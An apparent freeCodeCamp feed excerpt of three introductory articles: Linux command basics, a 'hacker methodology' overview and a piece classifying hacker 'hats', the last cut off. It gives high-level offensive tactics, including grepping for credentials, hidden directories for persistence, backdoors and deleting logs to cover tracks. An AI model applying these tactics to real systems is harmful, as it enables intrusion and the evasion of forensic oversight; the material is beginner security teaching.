<p>Flags are features of applications/tools that allow you to tell them what to do. Let’s look at the <code>-l</code> flag for <code>ls</code> as an example. Long listing is a feature and can be activated by using the command <code>ls -l</code> .</p>
<p><img src="https://miro.medium.com/max/1008/1*GotS3bBvkTS1_wDy3z-uSQ.png" alt="Image" width="600" height="400" loading="lazy">
<em>Long listing | Credit: Mercury</em></p>
<p>As you can see, running <code>ls</code> with the flag differs from just plain old <code>ls</code>. I’ll explain the extra details in another article, or you can go ahead and do some research yourself into what they are.</p>
<h3 id="heading-how-to-use-the-cd-command">How to use the <code>cd</code> command</h3>
<p>You use the Change Directory (<code>cd</code>) command to transverse across the directory tree.</p>
<pre><code>cd &lt;directory&gt;
</code></pre><p><img src="https://miro.medium.com/max/1186/1*E0s7kJtwsxnFJsLf4eOkvA.png" alt="Image" width="600" height="400" loading="lazy">
<em>Changing directory | Credit: Mercury</em></p>
<p>If you run the command <code>ls -a</code>, you will notice that there are two files that are always there no matter the folder: <code>.</code> and <code>..</code> . The <code>.</code> file represents the current directory and the <code>..</code> file represents the <strong>parent directory</strong> (the directory above the current one).</p>
<h3 id="heading-how-to-use-the-cat-more-and-less-commands">How to use the <code>cat</code>, <code>more</code>, and <code>less</code> commands</h3>
<p>All the commands above are output commands. You use them to display the content of files to the terminal. </p>
<p>But there are notable differences here. <code>cat</code> is commonly used for files with small amounts of text. <code>less</code> and <code>more</code> are likely to be used for files with large amounts of text and output can be controlled with the arrow keys.</p>
<pre><code>cat &lt;file_name&gt;
more &lt;file_name&gt;
less &lt;file_name&gt;
</code></pre><p><img src="https://miro.medium.com/max/1400/1*fDzgjSBXWbi2oJxEDkF4vA.gif" alt="Image" width="600" height="400" loading="lazy">
<em>cat vs more vs less | Credit: Mercury</em></p>
<p>You will notice that <code>cat</code> prints the output directly to your terminal, while <code>more</code> and <code>less</code> allow you to use the arrow keys. Output commands are used to gather information and credentials from compromised systems.</p>
<h3 id="heading-how-to-use-the-touch-command">How to use the <code>touch</code> command</h3>
<p>You use the touch command to create files. You can write to these files in a number of ways, such as using a text editor or piping input into it (more on that later). </p>
<p>You can make a file using the following syntax:</p>
<pre><code>touch &lt;file_name&gt;
</code></pre><p>You can then use the <code>ls</code> command to check if your file has been created.</p>
<p><img src="https://miro.medium.com/max/788/1*fQY39ligIX7500YEUq7mqg.png" alt="Image" width="600" height="400" loading="lazy">
<em>Creating a file | Credit: Mercury</em></p>
<h3 id="heading-how-to-use-the-nano-command">How to use the <code>nano</code> command</h3>
<p>Nano is a popular built-in text editor in Linux. It’s very common because it's easy to use and it's supported in many CLI environments. Other common text editors are Vim (very annoying 😫) and gedit (as simple as Notepad 🙃). </p>
<p>You can edit a file with the following command:</p>
<pre><code>nano &lt;file_name&gt;
</code></pre><p><img src="https://miro.medium.com/max/1400/1*ryyzZ2IdJb4yZ_DhCaDEPw.png" alt="Image" width="600" height="400" loading="lazy">
<em>The nano interface | Credit: Mercury</em></p>
<p>There are some commands below the Nano interface that can aid you. ‘^’ simply means the Ctrl button and the ‘M’ button is Alt. ‘^S’ (or in this case Ctrl + S) is used to save the file after you write stuff to it. The nano command is used by hackers to change information in files, edit logs, or if you are a <a target="_blank" href="https://www.freecodecamp.org/news/white-hat-black-hat-red-hat-hackers/">red hat hacker</a>, delete essential configuration file lines.</p>
<h3 id="heading-command-chaining-operators">Command Chaining Operators</h3>
<p>‘Chaining’ commands is the concept of writing multiple commands together and executing them in a variety of ways. You usually do this with the use of special characters. Examples include:</p>
<ol>
<li>Ampersand (<em>&amp;</em>): To run a program in the background</li>
<li>Logical AND (<em>&amp;&amp;</em>): The following command will run only if the previous one successfully ran</li>
<li>Pipe (<em>|</em>): The output of the previous command acts as input for the next command</li>
<li>Overwrite (&gt;): Overwrites the content of a file with the output of the previous one</li>
<li>Append (&gt;&gt;): Appends the output from the previous command to a file</li>
</ol>
<p>If you don’t understand how all these work, don't worry. They are usually run with other commands I’ll mention later in the article.</p>
<h3 id="heading-how-to-use-the-mv-and-cp-commands">How to use the <code>mv</code> and <code>cp</code> commands</h3>
<p>These are two commands that are quite similar but have notable differences. You use <code>mv</code> to move a file to another location. You use <code>cp</code> to copy a file to another location.</p>
<pre><code>mv &lt;file_name&gt;
cp &lt;file_name&gt;
</code></pre><p><img src="https://miro.medium.com/max/1300/1*zU0ndkfgeNRxjaRqFsyJvQ.png" alt="Image" width="600" height="400" loading="lazy">
<em>Examples of cp and mv | Credit: Mercury</em></p>
<p>There isn’t a command for renaming files in Linux, so most people use the <code>mv</code> command by using this syntax:</p>
<pre><code>mv &lt;original_file_name&gt; <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">new_file_name</span>&gt;</span></span>
</code></pre><p>Try it yourself to get a feel.</p>
<h3 id="heading-how-to-use-the-mkdir-command">How to use the <code>mkdir</code> command</h3>
<p>The <code>mkdir</code> command makes directories. You could use this to make a custom directory that only you can access on a compromised system to keep scripts or tools for persistence.</p>
<pre><code>mkdir &lt;directory&gt;
</code></pre><p><img src="https://miro.medium.com/max/1052/1*3p9rSZRR5b15bXC-n4S27A.png" alt="Image" width="600" height="400" loading="lazy">
<em>Making a new directory | Credit: Mercury</em></p>
<h3 id="heading-how-to-use-the-rm-and-rmdir-commands">How to use the <code>rm</code> and <code>rmdir</code> commands</h3>
<p>You might be able to figure this one out yourself. <code>rm</code> is the command to remove files, and <code>rmdir</code> is the command to remove directories.</p>
<pre><code>rm &lt;file_name&gt;
rmdir &lt;directory&gt;
</code></pre><p><img src="https://miro.medium.com/max/1400/1*4HPtNRZnozv2-NrbkCRrHA.png" alt="Image" width="600" height="400" loading="lazy">
<em>rm, rmdir and rmdir with the ignore-fail-on-non-empty flag | Credit: Mercury</em></p>
<p>Linux is not too keen on getting folders deleted if they are not empty. To account for this, use the <code>ignore-fail-if-non-empty</code> flag to delete both files and directories.</p>
<p>Do note that you'll need to be extremely careful with these commands as they do not send the deleted files or directories to the Trash/Recycle bin. They're just gone.</p>
<h3 id="heading-how-to-use-the-stat-command">How to use the <code>stat</code> command</h3>
<p>You use the stat command to give information about a file.</p>
<pre><code>stat &lt;file_name&gt;
</code></pre><p><img src="https://miro.medium.com/max/1240/1*KTi872A6Qr9XES9Ag3IzAQ.png" alt="Image" width="600" height="400" loading="lazy">
<em>stat | Credit: Mercury</em></p>
<p>You can gather information about the file name and extension, permissions, when it was made, modified, last accessed and much more.</p>
<p>Now is a great time to learn about permissions. If you run the commands <code>ls -la</code> or <code>stat</code>, you may see something like this: drwxrwxrwx. Let’s break it down.</p>
<p><img src="https://miro.medium.com/max/1066/1*bJRHn0wWDnXZmNJ31Oc7Rg.png" alt="Image" width="600" height="400" loading="lazy">
<em>Permissions demystified | Credit: unix.stackexchange.com</em></p>
<p>The read (r) permission allows you to see the contents of a file, the write (w) permission allows you to modify the file, and the execute (x) permission allows you to run it as a process if it is a script or executable.</p>
<p>There are 3 classes of users that can access a file: a user, group and others. The root account is another class but that’s exempted here. </p>
<p>Each ‘rwx’ set is owned by a permission class. If the space reads a letter, the set has that permission. If it has a dash, they do not have permissions.</p>
<p>What about the ‘d’ at the front? That represents if it is a directory or a file. The ‘d’ means it’s a directory, and if it’s a dash (-), it's a file. Though, technically, a directory is a special type of file. But that’s a story for another day.</p>
<h3 id="heading-how-to-use-the-echo-command">How to use the <code>echo</code> command</h3>
<p>You use the <code>echo</code> command to print out input. Let’s use an example to make things clearer.</p>
<pre><code>echo <span class="hljs-string">"&lt;text&gt;"</span>
</code></pre><p><img src="https://miro.medium.com/max/1208/1*-l65O3_JkuG7Tzzgm-GnLg.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>As you can see, you can use <code>echo</code> with the &gt; operator to write text to files.</p>
<h3 id="heading-how-to-use-the-grep-command">How to use the <code>grep</code> command</h3>
<p>Let’s take things up a notch. You use the <code>grep</code> command to extract specified text from a file using the pipe operator.</p>
<pre><code>grep <span class="hljs-string">"&lt;text&gt;"</span>
</code></pre><p><img src="https://miro.medium.com/max/712/1*KX40zOFffHoiIZPC8IwV0Q.png" alt="Image" width="600" height="400" loading="lazy">
<em>grep | Credit: Mercury</em></p>
<p>The command above isn’t as complicated as it first seems. We tell the computer to print the contents of a file, and using the pipe operator, tell the <code>grep</code> command to use it as input. This is called <strong>piping</strong> one command through another and can be done multiple times. The found text is shown in red.</p>
<p><code>grep</code> is commonly used to look for certain texts in large files. A practical example would be if you are looking for credentials for a specific user in a file with a lot of text. You could use <code>grep</code> to look for words like ‘password’, ‘login’ and other keywords that you think would be around the credentials you are looking for.</p>
<h3 id="heading-how-to-use-the-help-flag-and-man-pages">How to use the ‘help’ flag and man pages</h3>
<p>Last on our list are ‘help’ and <code>man</code>. The ‘help’ flag isn’t necessarily a command but it is a great aid if you are confused about an app or tool. Simply use the following:</p>
<pre><code>&lt;app or tool&gt; --help
</code></pre><p>This will get quick, bite-size information about it. <code>man</code>, on the other hand, gives you all documented information about the app.</p>
<pre><code>man &lt;app&gt;
</code></pre><p><img src="https://miro.medium.com/max/1400/1*iLguMiOH1fivVfS9cbeUew.gif" alt="Image" width="600" height="400" loading="lazy">
<em>help vs man | Credit: Mercury</em></p>
<p>You may notice that in the gif, I used <code>-h</code>. That’s because its the short form of the flag. Some flags have short forms. If it starts with a single dash, that’s the short form. If it starts with two dashes, it’s the long form.</p>
<h2 id="heading-how-to-update-your-linux">How to Update Your Linux</h2>
<p>This entire section can actually be done with a single command but let’s break it down to understand the whole thing. The task: update your OS. In order to achieve the objective, you need to do two things.</p>
<ol>
<li>Update the local repository info: Think of this like checking for updates before actually downloading and installing them.</li>
<li>Upgrade the system: As it says, we download the updates, and then install the updates.</li>
</ol>
<p>The first command to run is:</p>
<pre><code>sudo apt update
</code></pre><ul>
<li>sudo: To indicate we are running the command with higher permissions</li>
<li>apt: The package manager</li>
<li>update: To tell the computer to update its local information about the repository</li>
</ul>
<p>After you punch in this command, you type in your password, and voilà. As you will observe, your computer will download information from the repositories on what packages (applications) to update. </p>
<p>I’ve already updated my own so it looks like the one below. But if this is your first time, it should take a few minutes.</p>
<p><img src="https://miro.medium.com/max/1150/1*-EmtTueRbZRXlPipT1OfUQ.png" alt="sudo apt update" width="600" height="400" loading="lazy">
<em>sudo apt update | Credit: Mercury</em></p>
<p>When that is over, you can run the next command to download and install the updates:</p>
<pre><code>sudo apt full-upgrade
</code></pre><p><img src="https://miro.medium.com/max/1036/1*XzH5YOMUiMBn2OH02a3e3A.png" alt="sudo apt full-upgrade" width="600" height="400" loading="lazy">
<em>sudo apt full-upgrade | Credit: Mercury</em></p>
<p>Note: You can interrupt the package download process, but <strong>never the installation process</strong>. That might break your OS and make it unusable.</p>
<p>During the upgrade you may notice some irregularities, such as the one below:</p>
<p><img src="https://miro.medium.com/max/1400/1*G9vDEmMMxCsLse32v-nVTQ.png" alt="Scrambled upgrade" width="600" height="400" loading="lazy">
<em>Scrambled upgrade | Credit: Mercury</em></p>
<p>Don’t worry, your computer isn’t going to blow up in your face or anything 😂. It’s just a bug. After the upgrades have finished installing, you will want to reboot your computer. This will allow your laptop to fully implement all updates.</p>
<p><img src="https://miro.medium.com/max/1400/1*pIAewyHw1X7ovh1yrUMhsg.png" alt="My personally customised desktop" width="600" height="400" loading="lazy">
<em>My personally customised desktop | Credit: Mercury</em></p>
<p>Congratulations 🎉. You have successfully updated your system. Remember how I said all this could be done with one command? Here it is. 👀</p>
<pre><code>sudo apt update &amp;&amp; sudo apt upgrade -y &amp;&amp; reboot
</code></pre><p>Relax, it's not as complicated as it first seems. Take a look at the code bit by bit. The only unfamiliar pieces are the <code>&amp;&amp;</code> symbols. </p>
<p>As I mentioned earlier, they are logical AND operators. This simply tells the computer to run the first command before, finish up, and then carry out the one after it. The <code>-y</code> flag tells the computer to carry out the upgrade without user input. </p>
<p>So the command above tells the computer to first update, then upgrade, and finally, reboot. Easy-peasy right? 😎</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/09/1-WFhyEGF0fbJqwgo79KSdJQ-1.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>Tux the Godfather ¦ Credit: Wallpaperflare.com</em></p>
<p>Let's do a quick recap of what you've done:</p>
<ol>
<li>We've had a tour of the Linux OS</li>
<li>We've learned about package management in Linux</li>
<li>We've reviewed the Linux file structure</li>
<li>And we've run a few commands on the Command Line Interface</li>
</ol>
<p>And on that note, we have come to the end of this article. I hope you enjoyed it. And as I always say, happy hacking! 🙃</p>
<h3 id="heading-linux-resources">Linux Resources</h3>
<ol>
<li>You can <a target="_blank" href="https://www.geeksforgeeks.org/chaining-commands-in-linux/">read more about chaining commands here</a></li>
<li>Here's a <a target="_blank" href="https://www.youtube.com/watch?v=0W8-3RwvJwc&amp;t=152s">brilliant video on package management</a>.</li>
<li>And here's a <a target="_blank" href="https://www.geeksforgeeks.org/linux-directory-structure/">quick introduction to the Linux file structure</a>.</li>
</ol>
<h3 id="heading-acknowledgements">Acknowledgements</h3>
<p>Thanks to Anuoluwapo Victor, <a target="_blank" href="https://www.linkedin.com/in/chinaza-nwukwa-22a256230/">Chinaza Nwukwa</a>, <a target="_blank" href="https://www.linkedin.com/in/mercy-holumidey-88a542232/">Holumidey Mercy</a>, <a target="_blank" href="https://www.linkedin.com/in/favour-ojo-906883199/">Favour Ojo</a>, <a target="_blank" href="https://www.linkedin.com/in/georgina-awani-254974233/">Georgina Awani</a>, and my family for the inspiration, support and knowledge used put this post together. You guys are awesome.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What is Hacking? The Hacker Methodology Explained ]]>
                </title>
                <description>
                    <![CDATA[ Time to learn the basics of the splendid art of hacking 👨‍💻👩‍💻.  In this article, you will learn what the hacking process really looks like. And hopefully one day, you'll get to say those famous words: “I’m in”. Disclaimer: This is for educationa... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/what-is-hacking/</link>
                <guid isPermaLink="false">66bb90240eaca026d8cfa5de</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Daniel Iwugo ]]>
                </dc:creator>
                <pubDate>Thu, 22 Sep 2022 15:21:49 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/09/hacker-methodology-image.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Time to learn the basics of the splendid art of hacking 👨‍💻👩‍💻. </p>
<p>In this article, you will learn what the hacking process really looks like. And hopefully one day, you'll get to say those famous words: “I’m in”.</p>
<p><strong>Disclaimer: This is for educational purposes only.</strong> Please (with a cherry on top), do not use this knowledge to perform illegal activities. I might be one of the white hats to put you in jail someday 🙃. Thank you.</p>
<h2 id="heading-how-do-hackers-hack">How do Hackers Hack?</h2>
<p><img src="https://miro.medium.com/max/1050/1*jHEa9VlHhb1cRF0szm_HRw.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>Tony Stark attempting to hack S.H.E.I.L.D | Credit: animatedtimes.com</em></p>
<p>Since you are reading this article, I’ll assume that you already know the basics of what hacking is, so let's jump right in. </p>
<p>There really is no general agreed upon process of hacking, in part because there are a few different <a target="_blank" href="https://www.freecodecamp.org/news/white-hat-black-hat-red-hat-hackers/">types of hackers</a>. But, I will tell you the steps the majority of hackers (and I myself) follow. </p>
<p>They are:</p>
<ol>
<li>Reconnaissance</li>
<li>Enumeration</li>
<li>Exploitation</li>
<li>Privilege Escalation</li>
<li>Post Exploitation</li>
<li>Covering Tracks</li>
<li>Report Writing</li>
</ol>
<p>We'll go through each one in detail so you get a good feel for the process.</p>
<p>If you want to dive deeper and learn more about what white hat (ethical) hackers do, <a target="_blank" href="https://www.freecodecamp.org/news/linux-essentials-for-hackers/">check out this course</a>.</p>
<h2 id="heading-reconnaissance">Reconnaissance</h2>
<p><img src="https://miro.medium.com/max/1050/1*r4786dLhJKeD4X9Eh-tqdg.jpeg" alt="A neon themed hollywood hacker" width="600" height="400" loading="lazy">
<em>A neon themed hollywood hacker | Credit: Wallpaperflare.com</em></p>
<p>Recon (aka footprinting) is the first, longest, and most important step. This entails getting as much information as you can about the target without interacting directly with the target. </p>
<p>Basic OSINT (Open Source Intelligence) skills are a hacker's best friend here.</p>
<p>Quick lesson: OSINT is the collection and analysis of information from public sources in order to gain actionable intelligence. National security agencies, investigative journalists, and hackers legally gather such information in order to create measures, stories, and dossiers, respectively, about targets. </p>
<p>You can find the OSINT framework guide <a target="_blank" href="https://osintframework.com/">here</a>.</p>
<p>The greatest resource for recon is the Internet, and the greatest tool is the search engine, Google. To make this a lot easier, <a target="_blank" href="https://www.techopedia.com/definition/30938/google-dorking">Google dorking</a> would be a good place to start. Dorking in this sense means the use of advanced search techniques to find out more information about a target that you normally wouldn’t be able to find using normal methods.</p>
<p>Other resources for recon include:</p>
<ol>
<li>Wikipedia (The biggest encyclopedia to this date)</li>
<li>Social Media such as Instagram, Twitter, and Facebook (Best resource for social engineers)</li>
<li>who.is (To get information about a website)</li>
<li>sublist3r (Lists subdomains publicly available)</li>
<li>Media such as newspapers, radio, and television</li>
</ol>
<h2 id="heading-enumeration">Enumeration</h2>
<p><img src="https://miro.medium.com/max/1050/1*XbORSf1nFpWBKEu285-Azg.jpeg" alt="Magnifying glass over binary ID fingerprint" width="600" height="400" loading="lazy">
<em>Magnifying glass over binary ID fingerprint | Credit: Wallpaperflare.com</em></p>
<p>This is like reconnaissance, except you gain information about the target by interacting with it for the purpose of looking for a vulnerability. </p>
<p>Do note, though, that things can get a lot riskier as the target could discover that you are trying to find out information about them, and could put countermeasures in place to hinder you.</p>
<p>Network enumeration involves port scanning and network mapping. This helps you learn about the target’s operating system, open ports, and services being run, along with their version. Nmap (network mapper), burp suite, and exploit-db/searchsploit are common tools you can use for network enumeration.</p>
<p>Tip: Knowing the version of services is a great way to find a vulnerability. Old versions of software may have a known vulnerability which could be on the exploit-db site. You could then use this to perform an exploit.</p>
<p>Physical enumeration involves gaining information through physical means. This could be done via dumpster diving (getting credentials and confidential information from the trash) and <a target="_blank" href="https://www.freecodecamp.org/news/social-engineering-the-art-of-hacking-humans/">social engineering</a>. </p>
<p>Social engineering is quite a broad topic and will get an article of its own later. However, in simple terms, it means hacking humans using manipulative social skills.</p>
<h2 id="heading-exploitation">Exploitation</h2>
<p><img src="https://miro.medium.com/max/1050/1*mJMn9jW6b0S4-EhX1fnk2g.jpeg" alt="A fake terminal access" width="600" height="400" loading="lazy">
<em>A fake terminal access | Credit: Wallpaperflare.com</em></p>
<p>Exploitation involves gaining access to the target successfully using a vulnerability discovered during enumeration. </p>
<p>A common technique for exploitation is to deliver a payload after taking advantage of the vulnerability. In simple terms, this is finding a hole in the target, and then running code or software that lets you manipulate the system, such as a bash shell.</p>
<p>Infamous vulnerabilities that are commonly exploited are EternalBlue (Windows) and the Apache log4j (web servers) vulnerabilities.</p>
<p>Common tools you can use for exploitation include:</p>
<ol>
<li>Metasploit (The big gun 🔫)</li>
<li>Burpsuite (For web applications)</li>
<li>Sqlmap (For databases)</li>
<li>Msfvenom (Used to create custom payloads)</li>
</ol>
<p>Quick lesson: A payload is software run after a vulnerability has been exploited. Once exploited, the target computer doesn’t have anything to give you access with. And so you need a payload to give you access and allow you to manipulate the target. </p>
<p>A very common payload many hackers use is meterpreter. It is a payload by metasploit that allows you to easily transverse the hacked computer.</p>
<h2 id="heading-privilege-escalation">Privilege Escalation</h2>
<p><img src="https://miro.medium.com/max/1050/1*dga9Ef2bvTg0BtG5_u5VxA.jpeg" alt="Random Text with “Administrator”" width="600" height="400" loading="lazy">
<em>Random Text with “Administrator” | Credit: Wallpaperflare.com</em></p>
<p>In order to understand privilege escalation, you need to grasp two concepts:</p>
<ol>
<li>User Accounts</li>
<li>Privileges</li>
</ol>
<p>A User Account is a profile on a computer or network that contains information that's accessed via a username and password. </p>
<p>There are two kinds of user accounts: Administrator account and Standard account. Home computer users usually only have one user account, which is the administrator. In contrast, organisations have multiple accounts on a network or computer, with a system administrator having the administrator account and the basic employees having various standard accounts.</p>
<p>Privileges are the permissions that let you write, read and execute files and applications. A standard user doesn’t have privileges (permissions) to critical files and applications which we want. However, an administrative account will have privileges for everything.</p>
<p>Escalation is the movement from one user account to another. This could either be vertical or horizontal. </p>
<p>Vertical escalation is when a hacker moves from an account with fewer privileges (standard account) to an account with more privileges (administrative account).</p>
<p>Horizontal escalation is when a hacker moves from one user account to a similar account of the same privilege level in hopes of performing vertical escalation with the new compromised account (standard account to standard account).</p>
<p>The administrative user accounts you would want to target are root (Linux) or Administrator/System (Windows). These accounts have <strong>all</strong> the privileges and are practically a goldmine if you get access to them, as you can take absolute control of the computer.</p>
<p>Techniques to perform privilege escalation include:</p>
<ol>
<li>Password spraying (Reusing passwords)</li>
<li>Cracking password hashes (Finding passwords of other users)</li>
<li>Finding ssh keys (Used for horizontal escalation)</li>
<li>Abusing SUID binaries (Taking advantage of misconfigured privileges in Linux)</li>
<li>Running tools scripts to look for escalation routes (<a target="_blank" href="https://www.kali.org/tools/enum4linux/">enum4linux</a> is nice and <a target="_blank" href="https://github.com/carlospolop/PEASS-ng">PEASS-ng</a> has a great suite)</li>
</ol>
<h2 id="heading-post-exploitation">Post-Exploitation</h2>
<p><img src="https://miro.medium.com/max/1050/1*qidw-Mivgag6dqiyU2-y9g.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>Code with text “malicious virus” | Credit: Wallpaperflare.com</em></p>
<p>Usually, white hats skip over to the very last step. But I will include this and the next for the sake of knowledge. </p>
<p>Post exploitation is the use of tools with the aim of gaining persistence and obtaining sensitive information from the target computer.</p>
<p>This could be done in a number of ways including:</p>
<ol>
<li>Installing a permanent backdoor, listener, or rootkit</li>
<li>Installing malware such as viruses and trojans</li>
<li>Downloading intellectual property, sensitive information, and Personal Identifiable Information (PII)</li>
</ol>
<h2 id="heading-covering-tracks">Covering Tracks</h2>
<p><img src="https://miro.medium.com/max/1050/1*be1OfXU8MoaoqvhM_X6ecw.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>An Anonymous themed background | Credit: Wallpaperflare.com</em></p>
<p>This is as simple as it gets, but can be incriminating if there is even a slight mistake. A malicious hacker has to be careful to not leave behind files, scripts, or anything that can be used by a digital forensics expert to track the hacking back to them. </p>
<p>Some basic things to do would be to delete log files and the history file in Linux. The meterpreter payload even has a feature to delete all logs on the Windows Event Manager.</p>
<h2 id="heading-reporting">Reporting</h2>
<p><img src="https://miro.medium.com/max/1050/1*kpf_vAmFagqzk5nevBwgUg.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>Digital report writing | Credit: Wallpaperflare.com</em></p>
<p>This is the final step of the hacker methodology. It involves writing down a basic rundown of the entire process you went through above. </p>
<p>There are various formats, but a basic one will include:</p>
<ol>
<li>Vulnerabilities found and their risk level</li>
<li>A brief description of how the vulnerabilities were discovered</li>
<li>Recommendations on how to remediate the vulnerabilities</li>
</ol>
<p>Tip: Note taking when hacking is very important. I personally learned this the hard way when doing CTFs (Capture The Flag). </p>
<p>Not only does it make it easier when writing reports, but they also allow you to avoid repeating failed attempts and sort through information easily. They also let you look back on what you’ve done later on. Taking screenshots is also a great idea<em>.</em></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Alright so let's do a quick recap of the hacker methodology:</p>
<ol>
<li>Reconnaissance</li>
<li>Enumeration</li>
<li>Exploitation</li>
<li>Privilege Escalation</li>
<li>Post-Exploitation</li>
<li>Covering Tracks</li>
<li>Report Writing</li>
</ol>
<h3 id="heading-resources-to-help-you-practice">Resources to help you practice:</h3>
<ol>
<li><a target="_blank" href="https://tryhackme.com/room/hackermethodology">Test your knowledge</a> on the hacker methodology</li>
<li>Tips on <a target="_blank" href="https://www.cybervie.com/blog/hackers-methodology-cyber-security/">how to protect yourself from hackers</a></li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Open-source_intelligence">More information about OSINT</a></li>
</ol>
<h3 id="heading-acknowledgements">Acknowledgements</h3>
<p>Thanks to <a target="_blank" href="https://www.linkedin.com/in/chinaza-nwukwa-22a256230/">Chinaza Nwukwa</a>, <a target="_blank" href="https://www.linkedin.com/in/mercy-holumidey-88a542232/">Holumidey Mercy</a>, <a target="_blank" href="https://www.linkedin.com/in/georgina-awani-254974233/">Georgina Awani</a>, and my family for the inspiration, support, and knowledge used put this post together. You guys are the best.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What are White Hat, Black Hat, and Red Hat Hackers? Different Types of Hacking Explained ]]>
                </title>
                <description>
                    <![CDATA[ Welcome to the movies, everyone! 🍿 Have you ever heard the term white hat or black hat hacker, and wondered what it means? Well, in this article, you will learn how hackers are classified by comparing them to a Marvel or DC hero that more or less re... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/white-hat-black-hat-red-hat-hackers/</link>
                <guid isPermaLink="false">66bb902ad2bda3e4315491cf</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Daniel Iwugo ]]>
                </dc:creator>
                <pubDate>Fri, 16 Sep 2022 17:07:40 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/09/hacking-hats.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Welcome to the movies, everyone! 🍿 Have you ever heard the term white hat or black hat hacker, and wondered what it means?</p>
<p>Well, in this article, you will learn how hackers are classified by comparing them to a Marvel or DC hero that more or less represents them and what they do.</p>
<h2 id="heading-what-is-a-hacker">What is a Hacker?</h2>
<p><img src="https://miro.medium.com/max/1400/1*Wme1T4nYK463bfqHVjAHvA.jpeg" alt="Hats on silhoettes" width="600" height="400" loading="lazy">
<em>Hats on Silhoettes | Credit: Wallpaperflare.com</em></p>
<p>A hacker is an individual who uses their skills to breach cybersecurity defences. In the world of Cybersecurity, hackers are typically classified by a ‘hat’ system. This system likely came from old cowboy film culture where the good characters typically wore white hats and the bad ones wore black hats.</p>
<p>There are 3 major hats in the cyberspace:</p>
<ol>
<li>White Hats </li>
<li>Grey Hats</li>
<li>Black Hats</li>
</ol>
<p>However, there are some others that have also cropped up over time such as:</p>
<ol>
<li>Green Hats</li>
<li>Blue Hats</li>
<li>Red Hats</li>
</ol>
<p>Let’s dive in and learn what all these different types of hackers do, shall we? 🙃</p>
<h2 id="heading-white-hat-hackers">White Hat Hackers</h2>
<p><img src="https://miro.medium.com/max/1400/1*Q_3O7-T-Ka3H3VEigqmSPQ.jpeg" alt="Captain America" width="600" height="400" loading="lazy">
<em>Captain America | Credit: Wallpaperaccess.com</em></p>
<p>White hats are just like Marvel’s Captain America 🛡️. No matter the day, time, or age, they always stand up for what’s right and protect civilians and organizations at large by finding and reporting vulnerabilities in systems before the black hats do. </p>
<p>They usually work for organizations and take roles such as a Cybersecurity Engineer, Penetration Tester, Security Analyst, CISO (Chief Information Security Officer), and other security positions.</p>
<p>Under these organizations they perform tasks such as:</p>
<ol>
<li>Scanning networks</li>
<li>Configuring IDSs (Intrusion Detection Systems)</li>
<li>Ethically hacking computers to find vulnerabilities and report them so they can be addressed</li>
<li>Programming honeypots (Traps for the attackers 😼)</li>
<li>Monitoring network activity for suspicious activity</li>
</ol>
<p>Famous examples of such hackers include:</p>
<ol>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Jeff_Moss_(hacker)">Jeff Moss</a> (DEF CON founder)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Richard_Stallman">Richard Stallman</a> (Founder of the GNU project)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Tim_Berners-Lee">Tim Burners-Lee</a> (Creator of the World Wide Web)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Linus_Torvalds">Linus Torvalds</a> (Creator of Linux)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Tsutomu_Shimomura">Tsutomu Shimomura</a> (The man that caught Kevin Mitnick)</li>
</ol>
<p>And if you want to hear more from the founder of a cybersecurity company herself, <a target="_blank" href="https://www.freecodecamp.org/news/podcast-rachel-tobac/">check out this podcast featuring Rachel Tobac</a>.</p>
<h2 id="heading-grey-hat-hackers">Grey Hat Hackers</h2>
<p><img src="https://miro.medium.com/max/1400/1*VPb8xXtNyyOIswm_Syvi8w.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>Batman | Credit: Alphacoders.com</em></p>
<p>DCs’ Dark Knight and grey hat hackers have a lot in common 🦇. They both want to stand up for the right thing but use rather unconventional methods to do so. </p>
<p>Grey hat hackers are the balance between white hats and black hats. In contrast to white hats, they do not ask for permission to hack systems but do not perform any other illegal activities like black hat hackers.</p>
<p>Grey hats have quite a controversial history. This makes them hard to really classify, especially if their moral compass goes a little haywire down the line or what they did seems more black hat-ish than white hat-ish. Some even end up in jail for what they do. </p>
<p>But there are some that rise to be the heroes of the people and the enemy of the government and big organizations.</p>
<p>Some (in)famous examples of grey hat hackers are:</p>
<ol>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Anonymous_(hacker_group)#2022">Anonymous</a> (World famous hacktivist group)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/H._D._Moore">HD Moore</a> (Creator of Metasploit)</li>
